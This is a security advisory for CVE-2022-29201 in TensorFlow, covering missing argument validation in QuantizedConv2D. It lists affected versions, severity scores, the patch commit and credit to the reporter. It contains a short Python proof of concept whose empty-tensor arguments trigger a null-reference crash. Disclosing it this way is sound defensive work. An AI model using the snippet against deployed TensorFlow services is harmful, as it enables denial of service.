CVE-2022-29201 – tensorflow
Package
Manager: pip
Name: tensorflow
Vulnerable Version: >=0 <2.6.4 || >=2.7.0 <2.7.2 || >=2.8.0 <2.8.1
Severity
Level: Medium
CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CVSS v4.0: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS: 0.00044 pctl0.12691
Details
Missing validation results in undefined behavior in `QuantizedConv2D` ### Impact The implementation of [`tf.raw_ops.QuantizedConv2D`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantized_conv_ops.cc) does not fully validate the input arguments: ```python import tensorflow as tf input = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8) filter = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8) # bad args min_input = tf.constant([], shape=[0], dtype=tf.float32) max_input = tf.constant(0, shape=[], dtype=tf.float32) min_filter = tf.constant(0, shape=[], dtype=tf.float32) max_filter = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.QuantizedConv2D( input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=[1, 1, 1, 1], padding="SAME") ``` In this case, references get bound to `nullptr` for each argument that is empty (in the example, all arguments in the `bad args` section). ### Patches We have patched the issue in GitHub commit [0f0b080ecde4d3dfec158d6f60da34d5e31693c4](https://github.com/tensorflow/tensorflow/commit/0f0b080ecde4d3dfec158d6f60da34d5e31693c4). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Metadata
Created: 2022-05-24T22:10:20Z
Modified: 2022-05-24T22:10:20Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-pqhm-4wvf-2jg8/GHSA-pqhm-4wvf-2jg8.json
CWE IDs: ["CWE-20", "CWE-476"]
Alternative ID: GHSA-pqhm-4wvf-2jg8
Finding: F184
Auto approve: 1